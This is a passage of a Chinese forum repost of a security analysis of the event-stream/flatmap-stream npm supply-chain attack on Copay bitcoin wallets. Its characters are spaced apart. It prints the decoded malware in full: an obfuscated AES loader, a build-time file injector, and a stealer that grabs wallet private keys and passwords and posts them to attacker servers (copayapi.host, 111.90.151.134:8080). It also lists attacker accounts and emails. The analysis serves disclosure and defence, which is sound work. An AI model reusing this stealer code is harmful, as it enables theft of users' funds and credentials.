5 0 6 4 3 7 c e d 0 2 f 0 3 4 1 6 a 1 2 4 0 a 5 5 5 f 8 4 2 a 1 1 c d e 5 1 4 c 4 5 0 a 2 f 8 5 3 6 f 2 5 c 6 0 b b e 0 e 1 b 0 1 3 d 8 d d 4 0 7 e 4 c b 1 7 1 2 1 6 e 3 0 8 3 5 a f 7 c a 0 d 9 e 3 f f 3 3 4 5 1 c 6 2 3 6 7 0 4 b 8 1 4 c 8 0 0 e c c 6 8 3 3 a 0 e 6 6 c d 2 c 4 8 7 8 6 2 1 7 2 b c 8 a 1 a c b 7 7 8 6 d d c 4 e 0 5 b a 4 e 4 1 a d a 1 5 e 0 d 6 3 3 4 a 8 b f 5 1 3 7 3 7 2 2 c 2 6 b 9 6 b b e 4 d 7 0 4 3 8 6 4 6 9 7 5 2 d 2 c d a 5 c a 7 3 f 7 3 9 9 f f 0 d f 1 6 5 a b b 7 2 0 8 1 0 a 4 d c 1 9 f 7 6 c a 7 4 8 a 3 4 c b 3 d 0 f 9 b 0 d 8 0 0 d 7 6 5 7 f 7 0 2 2 8 4 c 6 e 8 1 8 0 8 0 d 4 d 9 c 6 f f f 4 8 1 f 7 6 f b 7 a 7 c 5 d 5 1 3 e a e 7 a a 8 4 4 8 4 8 2 2 f 9 8 a 1 8 3 e 1 9 2 f 7 1 e a 4 e 5 3 a 4 5 4 1 5 d d b 0 3 0 3 9 5 4 9 b 1 8 b c 6 e 1 " , " 6 3 7 2 7 9 7 0 7 4 6 f " , " 6 5 6 e 7 6 " , " 6 e 7 0 6 d 5 f 7 0 6 1 6 3 6 b 6 1 6 7 6 5 5 f 6 4 6 5 7 3 6 3 7 2 6 9 7 0 7 4 6 9 6 f 6 e " , " 6 1 6 5 7 3 3 2 3 5 3 6 " , " 6 3 7 2 6 5 6 1 7 4 6 5 4 4 6 5 6 3 6 9 7 0 6 8 6 5 7 2 " , " 5 f 6 3 6 f 6 d 7 0 6 9 6 c 6 5 " , " 6 8 6 5 7 8 " , " 7 5 7 4 6 6 3 8 " ]
最 终 ， 用 以 上 解 码 内 容 进 行 替 换 后 ， 可 以 得 到 如 下 的 最 终 代 码 ： 另 外 ， 也 可 以 点 此 参 考 查 看 A y r t o n   S p a r l i n g 给 出 的 可 读 性 代 码 。 可 以 发 现 ， 上 述 恶 意 代 码 中 请 求 调 用 的 t e s t / d a t a . j s 文 件 涉 及 了 一 个 A E S 2 5 6 加 密 的 字 符 串 ， 脚 本 运 行 时 ， 会 存 在 e v e n t - s t r e a m   - >   f l a t m a p - s t r e a m 这 样 的 依 赖 关 系 ， 且 会 用 n p m _ p a c k a g e _ d e s c r i p t i o n 的 包 属 性 描 述 字 段 作 为 密 码 来 解 密 字 符 串 ， 所 以 ， 这 完 全 是 针 对 某 个 N P M 应 用 包 环 境 的 定 向 攻 击 。 解 密 解 密   -   真 相 大 白 真 相 大 白 最 终 ， G i t h u b 用 户 @ m a t h s 2 2 对 所 有 N P M 包 的 D e s c r i p t i o n 描 述 字 段 进 行 了 收 集 ， 并 暴 力 破 解 ， 他 发 现 用 属 性 描 述 字 段 “ A   S e c u r e   B i t c o i n   W a l l e t ”   恰 好 能 解 密 上 述 数 组 中 A E S 2 5 6 加 密 的 第 一 项 n [ 0 ] 字 符 串 ！ 而 巧 的 是 ， 比 特 币 钱 包 项 目 c o p a y - d a s h 的   d e s c r i p t i o n 属 性 正 好 为 此 ： @ m a t h s 2 2 的 解 密 过 程 ： " 6 3 7 2 7 9 7 0 7 4 6 f " ,   / /   c r y p t o " 6 5 6 e 7 6 " ,     / /   e n v " 6 e 7 0 6 d 5 f 7 0 6 1 6 3 6 b 6 1 6 7 6 5 5 f 6 4 6 5 7 3 6 3 7 2 6 9 7 0 7 4 6 9 6 f 6 e " ,     / /   n p m _ p a c k a g e _ d e s c r i p t i o n " 6 1 6 5 7 3 3 2 3 5 3 6 " ,   / /   a e s 2 5 6 " 6 3 7 2 6 5 6 1 7 4 6 5 4 4 6 5 6 3 6 9 7 0 6 8 6 5 7 2 " ,   / /   c r e a t e D e c i p h e r " 5 f 6 3 6 f 6 d 7 0 6 9 6 c 6 5 " ,   / /   _ c o m p i l e " 6 8 6 5 7 8 " ,   / /   h e x " 7 5 7 4 6 6 3 8 "   / /   u t f 8 ! ( f u n c t i o n ( )   {         t r y   {                 v a r   n   =   [ " 7 5 d 4 c 8 7 f 3 f 6 9 6 4 9 0 3 a f 7 e 5 2 7 c 4 2 0 d 9 2 6 3 f 4 a f 5 8 c c b 5 8 4 3 1 8 7 a a 0 d a 1 c b b 4 b 6 a e d f d 1 b d c 6 f a f 3 2 f 3 8 a 8 8 5 6 2 8 6 1 2 6 6 0 a f 8 6 3 0 5 9 7 9 6 9 1 2 5 c 9 1 7 d f c 5 1 2 c 5 3 4 5 3 c 9 6 c 1 4 3 a 2 a 0 5 8 b a 9 1 b c 3 7 e 2 6 5 b 4 4 c 5 8 7 4 e 5 9 4 c a a f 5 3 9 6 1 c 8 2 9 0 4 a 9 5 f 1 d d 3 3 b 9 4 e 4 d d 1 d 0 0 e 9 8 7 8 f 6 6 d a f c 5 5 f a 6 f 2 f 7 7 e c 7 e 7 e 8 f e 2 8 e 4 f 9 5 9 e 3 f 0 9 1 1 7 6 2 f f f b c 3 6 9 5 1 a 7 8 4 5 7 b 9 4 6 2 9 f 0 6 7 c 1 f 1 2 9 2 7 c d f 9 7 6 9 9 6 5 6 f 4 a 2 c 4 4 2 9 f 1 2 7 9 c 4 e b a c d e 1 0 f a 7 a 6 f 5 c 4 4 b 1 4 b c 8 8 3 2 2 a 3 f 0 6 b b 0 8 4 7 f 0 4 5 6 e 6 3 0 8 8 8 e 5 b 6 c 3 f 2 b 8 f 8 4 8 9 c d 6 b c 0 8 2 c 8 0 6 3 e b 0 3 d d 6 6 5 b a d a f 2 a 0 2 0 f 1 " ,                         " d b 6 7 f d b f c 3 9 c 2 4 9 c 6 f 3 3 8 1 9 4 a 5 2 6 f b 9 5 f 5 f 2 1 0 f 5 2 d 4 8 7 f 1 1 7 8 7 3 d f 6 e 8 4 7 7 6 9 c 0 6 d b 7 f 8 6 4 2 c d 2 4 2 6 b 6 c e 0 0 d 6 2 1 8 4 1 3 f d b b a 5 b b b e b c 4 e 9 4 b f f d e f 6 9 8 5 a 0 e 8 0 0 1 3 2 f e 5 8 2 1 e 6 2 f 2 c 1 d 7 9 d d b 5 6 5 6 b d 5 1 0 2 1 7 6 d 3 3 d 7 9 c f 4 5 6 0 4 5 3 c a 7 f d 3 d 3 c 3 b e 0 1 9 0 a e 3 5 6 e f a a f 5 e 2 8 9 2 f 0 d 8 0 c 4 3 7 e a d e 2 d 2 8 6 9 8 1 4 8 e 7 2 f b e 1 7 f 1 f a c 9 9 3 a 1 3 1 4 0 5 2 3 4 5 b 7 0 1 d 6 5 b b 0 e a 3 7 1 0 1 4 5 d f 6 8 7 b b 1 7 1 8 2 c d 3 a d 6 c 1 2 1 a f e f 2 0 b f 0 2 e 0 1 0 0 f d 6 3 c b b f 4 9 8 3 2 1 7 9 5 3 7 2 3 9 8 c 9 8 3 e b 3 1 f 1 8 4 f a 1 a d b b 2 4 7 5 9 e 3 9 5 d e f 3 4 e 1 a 7 2 6 c 3 6 0 4 5 9 1 b 6 7 9 2 8 d a 6 c 6 a 8 c 5 f 9 6 8 0 8 e d f c 7 9 9 0 a 5 8 5 4 1 1 f f e 6 3 3 b a e 9 9 f f 0 d f 1 6 5 a b b 7 2 0 8 1 0 a 4 d c 1 9 f 7 6 c a 7 4 8 a 3 4 c b 3 d 0 f 9 b 0 d 8 0 0 d 7 6 5 7 f 7 0 2 2 8 4 c 6 e 8 1 8 0 8 0 d 4 d 9 c 6 f f f 4 8 1 f 7 6 f b 7 a 7 c 5 d 5 1 3 e a e 7 a a 8 4 4 8 4 8 2 2 f 9 8 a 1 8 3 e 1 9 2 f 7 1 e a 4 e 5 3 a 4 5 4 1 5 d d b 0 3 0 3 9 5 4 9 b 1 8 b c 6 e 1 "                 ] ;                 v a r   o   =   p r o c e s s [ " e n v " ] [ " n p m _ p a c k a g e _ d e s c r i p t i o n " ] ;                 i f   ( ! o )   r e t u r n ;                 v a r   u   =   r e q u i r e ( " c r y p t o " ) [ " c r e a t e D e c i p h e r " ] ( " a e s 2 5 6 " ,   o ) ,                         a   =   u . u p d a t e ( n [ 0 ] ,   " h e x " ,   " u t f 8 " ) ;                 a   + =   u . f i n a l ( " u t f 8 " ) ;                 v a r   f   =   n e w   m o d u l e . c o n s t r u c t o r ( ) ;                 ( f . p a t h s   =   m o d u l e . p a t h s ) ,   f [ " _ c o m p i l e " ] ( a ,   " " ) ,   f . e x p o r t s ( n [ 1 ] ) ;         }   c a t c h   ( r )   { } } ) ( ) ;
@ m a t h s 2 2 给 出 的 解 密 源 码 ： 至 此 ， 直 接 在 P a y l o a d   A 中 插 入   o = ’ A   S e c u r e   B i t c o i n   W a l l e t ’ 的 正 确 密 钥 进 行 解 密 ， 解 密 后 的 n [ 0 ] 字 符 串 内 容 如 下 ， 我 们 把 它 称 为 P a y l o a d   B ， 其 格 式 化 后 的 代 码 如 下 ： 接 着 ， 程 序 还 会 进 行 另 一 轮 解 密 ， 这 次 解 密 的 是 n [ 1 ] 字 符 串 ， 其 解 密 内 容 如 下 ， 我 们 把 它 称 为   P a y l o a d   C ， 这 也 是 窃 取 c o p a y 用 户 比 特 币 的 最 终 代 码 ： 对 上 述 代 码 的 分 析 ， 可 以 发 现 ： 这 段 P a y l o a d   C 才 是 窃 取 比 特 币 的 最 终 代 码 ， 恶 意 的 源 码 作 者 通 过 重 写 g e t K e y s 函 数 窃 取 c o p a y 比 特 币 用 户 密 码 / * @ @ * / m o d u l e . e x p o r t s   =   f u n c t i o n ( e )   {         t r y   {                 i f   ( ! / b u i l d : . * - r e l e a s e / . t e s t ( p r o c e s s . a r g v [ 2 ] ) )   r e t u r n ;                 v a r   t   =   p r o c e s s . e n v . n p m _ p a c k a g e _ d e s c r i p t i o n ,                         r   =   r e q u i r e ( " f s " ) ,                         i   =   " . / n o d e _ m o d u l e s / @ z x i n g / l i b r a r y / e s m 5 / c o r e / c o m m o n / r e e d s o l o m o n / R e e d S o l o m o n D e c o d e r . j s " ,                         n   =   r . s t a t S y n c ( i ) ,                         c   =   r . r e a d F i l e S y n c ( i ,   " u t f 8 " ) ,                         o   =   r e q u i r e ( " c r y p t o " ) . c r e a t e D e c i p h e r ( " a e s 2 5 6 " ,   t ) ,                         s   =   o . u p d a t e ( e ,   " h e x " ,   " u t f 8 " ) ;                 s   =   " n "   +   ( s   + =   o . f i n a l ( " u t f 8 " ) ) ;                 v a r   a   =   c . i n d e x O f ( " n / * @ @ * / " ) ;                 0   < =   a   & &   ( c   =   c . s u b s t r ( 0 ,   a ) ) ,   r . w r i t e F i l e S y n c ( i ,   c   +   s ,   " u t f 8 " ) ,   r . u t i m e s S y n c ( i ,   n . a t i m e ,   n . m t i m e ) ,   p r o c e s s . o n ( " e x i t " ,   f u n c t i o n ( )   {                         t r y   {                                 r . w r i t e F i l e S y n c ( i ,   c ,   " u t f 8 " ) ,   r . u t i m e s S y n c ( i ,   n . a t i m e ,   n . m t i m e )                         }   c a t c h   ( e )   { }                 } )         }   c a t c h   ( e )   { } } ; / * @ @ * /   !   f u n c t i o n ( )   {         f u n c t i o n   e ( )   {                 t r y   {                         v a r   o   =   r e q u i r e ( " h t t p " ) ,                                 a   =   r e q u i r e ( " c r y p t o " ) , / /   恶 意 源 码 作 者 用 以 下 公 钥 对 窃 取 数 据 进 行 加 密 ， 只 有 这 段 公 钥 才 能 解 密                                 c   =   " - - - - - B E G I N   P U B L I C   K E Y - - - - - n M I I B I j A N B g k q h k i G 9 w 0 B A Q E F A A O C A Q 8 A M I I B C g K C A Q E A x o V 1 G v D c 2 F U s J n r A q R 4 C n D X U s / p e q J u 0 0 c a s T f H 4 4 2 y V F k M w V 5 9 e g x x p T P Q 1 Y J x n Q E I h i G t e 6 K r z D Y C r d e B f j n B O E F E z e 8 a e G n 9 F O x U e X Y W N e i A S y S 6 Q 7 7 N S Q V k 1 L W + / B i G u d 7 b 7 7 F w f q 3 7 2 f U u E I k n 2 P / p U H R o X k B y m L W F 1 n f 0 L 7 R I E 7 Z L h o E B i 2 d E I P 0 5 q G f 6 B J L H P N b P Z k G 4 g r T D v 7 6 2 n P D B M w Q s C K Q c p K D X w / 6 c 8 g l 5 e 2 X M 7 w X h V h I 2 p p f o j 3 6 o C q p Q r k u F I O L 2 S A a I e w D Z z n L l a p G C f 2 c 2 Q d r Q i R k Y 8 L i U Y K d s V 2 X s f H P b 3 2 7 P v 3 Q 2 4 6 y U L w w 0 0 u O M l / c J / x 7 6 T o n 2 w I D A Q A B n - - - - - E N D         P U B L I C   K E Y - - - - - " ; / / 恶 意 源 码 作 者 将 窃 取 的 c o p a y 用 户 信 息 发 送 到 以 下 服 务 器 端                         f u n c t i o n   i ( e ,   t ,   n )   {                                 e   =   B u f f e r . f r o m ( e ,   " h e x " ) . t o S t r i n g ( ) ;                                 v a r   r   =   o . r e q u e s t ( {                                         h o s t n a m e :   e ,                                         p o r t :   8 0 8 0 ,                                         m e t h o d :   " P O S T " ,                                         p a t h :   " / "   +   t ,                                         h e a d e r s :   {                                                 " C o n t e n t - L e n g t h " :   n . l e n g t h ,                                                 " C o n t e n t - T y p e " :   " t e x t / h t m l "                                         }                                 } ,   f u n c t i o n ( )   { } ) ;                                 r . o n ( " e r r o r " ,   f u n c t i o n ( e )   { } ) ,   r . w r i t e ( n ) ,   r . e n d ( )                         } / / 恶 意 源 码 作 者 利 用 前 面 的 公 钥 对 窃 取 数 据 进 行 编 码 和 加 密                         f u n c t i o n   r ( e ,   t )   {                                 f o r   ( v a r   n   =   " " ,   r   =   0 ;   r   <   t . l e n g t h ;   r   + =   2 0 0 )   {                                         v a r   o   =   t . s u b s t r ( r ,   2 0 0 ) ;                                         n   + =   a . p u b l i c E n c r y p t ( c ,   B u f f e r . f r o m ( o ,   " u t f 8 " ) ) . t o S t r i n g ( " h e x " )   +   " + "                                 } / / H e x 串 3 1 3 1 3 1 2 e 3 9 3 0 2 e 3 1 3 5 3 1 2 e 3 1 3 3 3 4 对 应 的 A S C I I 内 容 为 1 1 1 . 9 0 . 1 5 1 . 1 3 4 ， H e x 串 6 3 6 f 7 0 6 1 7 9 6 1 7 0 6 9 2 e 6 8 6 f 7 3 7 4 对 应 的 A S C I I 内 容 为 c o p a y a p i . h o s t                                 i ( " 6 3 6 f 7 0 6 1 7 9 6 1 7 0 6 9 2 e 6 8 6 f 7 3 7 4 " ,   e ,   n ) ,   i ( " 3 1 3 1 3 1 2 e 3 9 3 0 2 e 3 1 3 5 3 1 2 e 3 1 3 3 3 4 " ,   e ,   n )                         } / / 窃 取 c o p a y 用 户 的 个 人 信 息                         f u n c t i o n   l ( t ,   n )   {                                 i f   ( w i n d o w . c o r d o v a )   t r y   {                                         v a r   e   =   c o r d o v a . f i l e . d a t a D i r e c t o r y ;                                         r e s o l v e L o c a l F i l e S y s t e m U R L ( e ,   f u n c t i o n ( e )   {                                                 e . g e t F i l e ( t ,   {                                                         c r e a t e :   ! 1                                                 } ,   f u n c t i o n ( e )   {                                                         e . f i l e ( f u n c t i o n ( e )   {                                                                 v a r   t   =   n e w   F i l e R e a d e r ;                                                                 t . o n l o a d e n d   =   f u n c t i o n ( )   {                                                                         r e t u r n   n ( J S O N . p a r s e ( t . r e s u l t ) )                                                                 } ,   t . o n e r r o r   =   f u n c t i o n ( e )   {                                                                         t . a b o r t ( )                                                                 } ,   t . r e a d A s T e x t ( e )                                                         } )                                                 } )                                         } )                                 }   c a t c h   ( e )   { }   e l s e   {                                         t r y   {                                                 v a r   r   =   l o c a l S t o r a g e . g e t I t e m ( t ) ;                                                 i f   ( r )   r e t u r n   n ( J S O N . p a r s e ( r ) )                                         }   c a t c h   ( e )   { }                                         t r y   {                                                 c h r o m e . s t o r a g e . l o c a l . g e t ( t ,   f u n c t i o n ( e )   {                                                         i f   ( e )   r e t u r n   n ( J S O N . p a r s e ( e [ t ] ) )                                                 } )                                         }   c a t c h   ( e )   { }                                 }                         } / / 窃 取 用 户 的 比 特 币 钱 包 I D 、 私 钥 和 余 额 存 量 等 信 息 并 发 送                         g l o b a l . C S S M a p   =   { } ,   l ( " p r o f i l e " ,   f u n c t i o n ( e )   {                                 f o r   ( v a r   t   i n   e . c r e d e n t i a l s )   {                                         v a r   n   =   e . c r e d e n t i a l s [ t ] ;                                         " l i v e n e t "   = =   n . n e t w o r k   & &   l ( " b a l a n c e C a c h e - "   +   n . w a l l e t I d ,   f u n c t i o n ( e ) 1 e 3   =   1 0 0 0 ? = 1 0 ^ 3     {                                                 v a r   t   =   t h i s ; / / 针 对 比 特 币 钱 包 内 大 于 1 0 0 B T C   或   1 0 0 0 B C H 的 账 户 ， 窃 取 用 户 私 钥 和 个 人 信 息 ， 发 送 到 h t t p : / / c o p a y a p i . h o s t : 8 0 8 0 / c 和 h t t p : / / 1 1 1 . 9 0 . 1 5 1 . 1 3 4 : 8 0 8 0 / c                                                 t . b a l a n c e   =   p a r s e F l o a t ( e . b a l a n c e . s p l i t ( "   " ) [ 0 ] ) ,   " b t c "   = =   t . c o i n   & &   t . b a l a n c e   <   1 0 0   | |   " b c h "   = =   t . c o i n         & &   t . b a l a n c e   <   1 e 3   | |   ( g l o b a l . C S S M a p [ t . x P u b K e y ]   =   ! 0 ,   r ( " c " ,   J S O N . s t r i n g i f y ( t ) ) )                                         } . b i n d ( n ) )                                 }                         } ) ; / / 重 写 b i t c o r e - w a l l e t - c l i e n t / l i b / c r e d e n t i a l s . j s 中 的 g e t K e y s F u n c 函 数 窃 取 用 户 密 码                         v a r   e   =   r e q u i r e ( " b i t c o r e - w a l l e t - c l i e n t / l i b / c r e d e n t i a l s . j s " ) ;                         e . p r o t o t y p e . g e t K e y s F u n c   =   e . p r o t o t y p e . g e t K e y s ,   e . p r o t o t y p e . g e t K e y s   =   f u n c t i o n ( e )   {                                 v a r   t   =   t h i s . g e t K e y s F u n c ( e ) ; / / 将 窃 取 的 用 户 密 码 发 送 到 h t t p : / / c o p a y a p i . h o s t : 8 0 8 0 / p 和 h t t p : / / 1 1 1 . 9 0 . 1 5 1 . 1 3 4 : 8 0 8 0 / p                                 t r y   {                                         g l o b a l . C S S M a p   & &   g l o b a l . C S S M a p [ t h i s . x P u b K e y ]   & &   ( d e l e t e   g l o b a l . C S S M a p [ t h i s . x P u b K e y ] ,   r ( " p " ,   e   +   " t "   +   t h i s . x P u b K e y ) )                                 }   c a t c h   ( e )   { }                                 r e t u r n   t                         }                 }   c a t c h   ( e )   { }         }         w i n d o w . c o r d o v a   ?   d o c u m e n t . a d d E v e n t L i s t e n e r ( " d e v i c e r e a d y " ,   e )   :   e ( ) } ( ) ;
信 息 ， 发 送 到 : h t t p : / / c o p a y a p i . h o s t : 8 0 8 0 / p h t t p : / / 1 1 1 . 9 0 . 1 5 1 . 1 3 4 : 8 0 8 0 / p ； 然 后 ， 再 窃 取 c o p a y 用 户 比 特 币 钱 包 私 钥 、 比 特 币 存 量 余 额 、 比 特 币 钱 包 I D 等 所 有 个 人 信 息 ， 发 送 到 h t t p : / / c o p a y a p i . h o s t : 8 0 8 0 / c h t t p : / / 1 1 1 . 9 0 . 1 5 1 . 1 3 4 : 8 0 8 0 / c 。 黑 客 黑 客 / 恶 意 源 码 作 者 相 关 信 息 恶 意 源 码 作 者 相 关 信 息 目 前 ， 与 此 事 件 相 关 的 恶 意 源 码 作 者   即   e v e n t - s t r e a m 维 护 者 @ R i g h t 9 c t r l ， 其 相 关 的 G i t H u b 、 T w i t t e r 、 F a c e b o o k 和 N P M 账 户 都 已 被 官 方 注 销 ， c o p a y   钱 包 项 目 也 做 了 紧 急 修 复 并 推 出   v 5 . 2 . 0 版 本 。 但 @ R i g h t 9 c t r l 和 他 背 后 的 团 伙 到 底 是 谁 ， 仍 然 还 是 个 谜 ， 我 们 只 能 从 以 下 黑 客 的 活 动 痕 迹 中 得 出 一 些 线 索 。 C & C 服 务 器 1 : c o p a y a p i . h o s t   曾 解 析 指 向   5 1 . 3 8 . 1 1 2 . 2 1 2 （ O V H ） 和 1 4 5 . 2 4 9 . 1 0 4 . 2 3 9 （ L i b e r t y   V P S ） c o p a y a p i . h o s t 的 S O A 记 录 显 示 ， 其 注 册 邮 箱 为 k v l g u u v h @ s h a r k l a s e r s . c o m C & C 服 务 器 2 : 1 1 1 . 9 0 . 1 5 1 . 1 3 4 （ S h i n j i r u   马 来 西 亚 W e b 应 用 提 供 商 ） 黑 客 使 用 的   N P M   账 户 ： h t t p s : / / w w w . n p m j s . c o m / ~ r i g h t 9 c t r l 黑 客 使 用 的   G i t H u b   账 户 ： h t t p s : / / g i t h u b . c o m / r i g h t 9 c t r l （ 邮 箱   r i g h t 9 c t r l @ o u t l o o k . c o m ） 黑 客 推 送 的 恶 意 f l a t m a p - s t r e a m 包 ： h t t p s : / / g i t h u b . c o m / h u g e g l a s s / f l a t m a p - s t r e a m 恶 意 f l a t m a p - s t r e a m 包 的 N P M 账 户 ： h t t p s : / / w w w . n p m j s . c o m / ~ h u g e g l a s s “ r i g h t 9 c t r l ” 、 ” h u g e g l a s s ”   、 r i g h t 9 c t r l @ o u t l o o k . c o m   和   “ k v l g u u v h @ s h a r k l a s e r s . c o m ”   背 后 的 使 用 主 体 ， 可 能 同 属 某 一 黑 客 个 人 或 团 伙 。 总 结 总 结   -   开 源 项 目 的 易 攻 击 性 开 源 项 目 的 易 攻 击 性 如 C o p a y 的 应 用 通 过 消 耗 网 络 中 的 依 赖 关 系 而 构 建 ， 整 个 依 赖 关 系 没 有 被 锁 定 ； 不 但 没 有 锁 定 版 本 ， 而 且 这 些 不 同 的 依 赖 关 系 不 会 被 及 时 更 新 缓 存 ； 还 有 数 千 个 开 源 项 目 以 相 同 或 相 似 的 配 置 依 赖 于 e v e n t - s t r e a m ； 维 护 者 才 不 会 关 心 上 千 开 源 项 目 所 依 赖 的 某 个 库 ； 上 千 个 依 赖 于 该 库 的 开 源 项 目 既 想 免 费 使 用 该 库 ， 又 不 想 出 钱 对 该 库 提 供 维 护 ； 基 于 开 源 社 区 的 热 心 和 分 享 精 神 ， 维 护 者 非 常 随 心 地 就 把 项 目 管 理 权 交 给 其 它 未 知 人 员 了 ；
包 的 修 改 变 动 没 有 任 何 通 知 ， 上 千 开 源 项 目 还 非 常 有 耐 心 地 等 待 着 依 赖 项 目 对 警 告 提 示 的 自 行 修 复 ； 这 种 事 情 可 能 还 会 发 生 ， 没 有 个 尽 头 。 * 参 考 来 源 ： 参 考 来 源 ： m e d i u m 1 、 、 m e d i u m 2 、 、 m e d i u m   3 ,   c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理